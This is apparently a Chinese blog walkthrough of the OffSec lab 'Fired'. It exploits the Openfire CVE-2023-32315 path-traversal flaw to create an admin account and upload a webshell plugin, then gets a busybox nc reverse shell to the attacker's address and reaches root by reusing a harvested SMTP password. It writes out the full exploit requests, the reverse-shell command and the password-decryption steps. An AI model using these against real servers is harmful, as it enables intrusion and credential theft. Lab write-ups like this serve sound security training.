本文最后更新于 2026年3月12日 下午
一、靶场详情
靶场名称:
Fired
靶场地址:
OffSec Proving Grounds Practice 实验环境
二、思路总结
突破边界:
openfire CVE-2023-32315 –> 创建管理员用户 –> 后台上传恶意插件 –> openfire 用户权限 –> 用户旗帜
权限提升:
openfire 配置文件 –> 读取 smtp 密码 –> 密码复用得到 root 用户权限 –> 管理员旗帜
三、靶场攻击演示
3.1 靶场信息收集
TCP 端口扫描:
1 2 3 4 5 6
| sudo nmap -p- 192.168.212.96 --min-rate=2000
PORT STATE SERVICE 22/tcp open ssh 9090/tcp open zeus-admin 9091/tcp open xmltec-xmlmail
|
UDP 端口扫描:未发现有价值信息。
TCP 服务信息搜集:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26
| sudo nmap -p22,9090,9091 -sCV 192.168.212.96
PORT STATE SERVICE VERSION 22/tcp open ssh OpenSSH 8.2p1 Ubuntu 4ubuntu0.11 (Ubuntu Linux; protocol 2.0) | ssh-hostkey: | 3072 51:56:a7:34:16:8e:3d:47:17:c8:96:d5:e6:94:46:46 (RSA) | 256 fe:76:e3:4c:2b:f6:f5:21:a2:4d:9f:59:52:39:b9:16 (ECDSA) |_ 256 2c:dd:62:7d:d6:1c:f4:fd:a1:e4:c8:aa:11:ae:d6:1f (ED25519) 9090/tcp open hadoop-tasktracker Apache Hadoop | hadoop-tasktracker-info: |_ Logs: jive-ibtn jive-btn-gradient | hadoop-datanode-info: |_ Logs: jive-ibtn jive-btn-gradient |_http-title: Site doesn't have a title (text/html). 9091/tcp open ssl/hadoop-tasktracker Apache Hadoop |_ssl-date: TLS randomness does not represent time | hadoop-tasktracker-info: |_ Logs: jive-ibtn jive-btn-gradient |_http-title: Site doesn't have a title (text/html). | ssl-cert: Subject: commonName=localhost | Subject Alternative Name: DNS:localhost, DNS:*.localhost | Not valid before: 2024-06-28T07:02:39 |_Not valid after: 2029-06-27T07:02:39 | hadoop-datanode-info: |_ Logs: jive-ibtn jive-btn-gradient Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel
|
系统为 Linux 环境,开放有 HTTP、SSH 服务。
3.2 渗透测试突破边界
3.2.1 Openfire 未授权(CVE-2023-32315)创建管理员密码,上传恶意插件
依次访问系统 HTTP 9090、9091 端口,这里两个端口对应的为同一个系统(9091 需使用 https 访问),其中系统前端页面暴露了系统版本信息:Openfire 4.7.3。

搜索引擎检索,发现系统可能存在未授权访问(CVE-2023-32315),可通过该漏洞创建管理员用户,并在应用后台上传恶意插件,导致 RCE。
参考链接:
1
| https://www.vicarius.io/vsociety/posts/cve-2023-32315-path-traversal-in-openfire-leads-to-rce
|


步骤一: 获取 token 和 csrf 值。
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19
| GET /setup/setup-s/%u002e%u002e/%u002e%u002e/plugin-admin.jsp HTTP/1.1
Host: 192.168.212.96:9090
Pragma: no-cache
Cache-Control: no-cache
Upgrade-Insecure-Requests: 1
User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/139.0.0.0 Safari/537.36
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7
Accept-Encoding: gzip, deflate, br
Accept-Language: zh,zh-CN;q=0.9
Connection: keep-alive
|

步骤二: 创建用户。
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21
| GET /setup/setup-s/%u002e%u002e/%u002e%u002e/user-create.jsp?csrf=7SuHckRRhLJWvYE&username=test&email=test@admin.com&password=admin&passwordConfirm=admin&isadmin=on&create=Create+User HTTP/1.1
Host: 192.168.212.96:9090
Pragma: no-cache
Cache-Control: no-cache
Upgrade-Insecure-Requests: 1
User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/139.0.0.0 Safari/537.36
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7
Accept-Encoding: gzip, deflate, br
Accept-Language: zh,zh-CN;q=0.9
Cookie: JSESSIONID=node01n1k3akejh7qz1vghf8vz02gfn2.node0; csrf=7SuHckRRhLJWvYE
Connection: keep-alive
|

步骤三: 使用创建的用户登录管理员后台,注意: 登录过程非常慢,大概率是靶场环境问题,需耐心等待。

步骤四: 下载参考链接中的 webshell 插件,并在后台插件页面上传。


1
| https://github.com/miko550/CVE-2023-32315/raw/refs/heads/main/openfire-management-tool-plugin.jar
|

步骤五: 上传成功后在 Server-Server settings-management tool 找到上传后的插件,输入密码 123。


在 kali 使用 nc 监听 1234 端口,使用插件执行反弹 shell,获取到系统 openfire 用户 shell。
1 2
| nc -lvnp 1234 busybox nc 192.168.45.241 1234 -e /bin/bash
|


升级为交互式 shell。

3.2.2 用户旗帜获取

3.3 提权获取系统管理员权限
3.3.1 Openfire smtp 密码复用提升至 root 权限
搜索引擎检索 Openfire 应用密码,发现其保存在 openfire.script 文件中。

至于应用的主目录可通过 ps -aux 得知。

openfire.script 文件包含了多个配置密码,经过尝试,最终使用 smtp 密码移动至 root 用户。
1
| cat openfire.script | grep passw
|


扩展: 这里做了很多尝试,其中就包含破解 openfire 加密密码,反倒忽略了最简单的方式,关于如何破解 openfire 用户密码可以参考如下链接,需要编译链接中 jar 包。
1
| https://github.com/miko550/CVE-2023-32315
|
1 2 3 4 5
| git clone https://github.com/c0rdis/openfire_decrypt.git sudo apt install default-jdk javac OpenFireDecryptPass.java java OpenFireDecryptPass a52a48e57def1a851c91e768042c5bf6078a0cac311d03fd47de71e23bdef5062cbb6f8d836d718d EOAJUe2Sqdlfqjk java OpenFireDecryptPass 44db8ca8cf3fdd70199acd2445d5032e8ffd6fd193ba8fe4 EOAJUe2Sqdlfqjk
|

注意: 扩展部分使用的密文和密码均来自 openfire.script 文件,这里出题者完全可以将解密密码做为 root 密码。


3.3.2 管理员旗帜获取

Thanks
如果我的文章对您有帮助或您希望与我更多交流,欢迎点击「关于我」,通过页面中的微信公众号、邮箱或 Discord 与我联系;若您发现文章中存在任何错误或不足之处,也非常欢迎通过以上方式指出,在此一并致以衷心的感谢。 😊🫡
最后,祝您生活愉快!🌞✨